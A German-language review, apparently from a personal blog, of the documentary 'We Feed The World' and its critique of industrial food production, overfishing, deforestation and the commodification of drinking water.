We feed the world

We Feed The World

Bild: allegrofilm

Ich bin mal wieder spät dran, klar. Ich bespreche den Film trotzdem, denn hier geht es nicht um aktuelle Unterhaltung. “We Feed The World” erzählt von den Merkwürdigkeiten der globalen Lebensmittelindustrie. Was der Film in 93 Minuten beschreibt, macht stutzig, treibt Jerseys den Appetit aus und führt leider trotzdem nicht dazu, dass wir unsere Essgewohnheiten sofort spürbar ändern. Langsam, ganz langsam – aber dafür dauerhaft – wandelt sich das Bewusstsein der Konsumenten.

Weltweit sieht die Nahrungsmittelproduktion nach wie vor alles andere als idyllisch aus. Fisch-Trawler räumen die Weltmeere leer, von der irischen See, bis zu den Küsten Afrikas und der Antarktis; in Brasilien wird der Regenwald abgeholzt, damit Soya-Felder angelegt werden; in Spanien wird das Wasser knapp, damit wir geschmacklose Einheitstomaten kaufen können; in den Schwellenländern vernichtet die Saatgut-Industrie traditionelle Strukturen und treibt die lokalen Bauern in die wirtschaftliche Abhängigkeit. Das alles sieht man gut belegt in dem Film des österreichischen Erwin Wagenhofer.

Am Ende lächeln Menschen wie der Nestlé-Chef Peter Brabeck-Letmathe und weisen die Verantwortung für soziale Konflikte weit von sich. Trinkwasser müsse zum Wirtschaftsgut werden, sagt er. Menschen, die es sich nicht leisten können, sollten vom Staat in die Lage versetzt werden, es zu kaufen. Mit den Feinheiten seiner Idee beschäftigt er sich nicht und ein Menschenrecht auf Trinkwasser hält er für abwegig.

All das, was die Industrien mit minimalem Menschen-Aufwand produzieren, hat längst sein Aroma und seine Eigenheit verloren. Alles schmeckt gleich. Gleich fad. Die Tomaten sehnen sich nach Erde, statt nach Steinwolle, die industrielle Befischung zerstört den Fisch, den wir essen, noch bevor er an Bord gehievt wird, das Gemüse, das wir heute kaufen und für unser Schweinefutter hungern Brasilianer.

Doch der Samen für eine Veränderung ist gesetzt. Es gibt Bio-Fleisch und Slow-Food, den Manufactum-Wurst-Versand und den Gemüsebauern auf dem Markt. Es gibt Terroir-Weine Etiam und Vollkornbrot aus dem Holzofen. Es geht nicht nur um Politik, sondern auch um den Genuss einer heilen Welt, um den Geschmack des gesunden Menschenverstandes.

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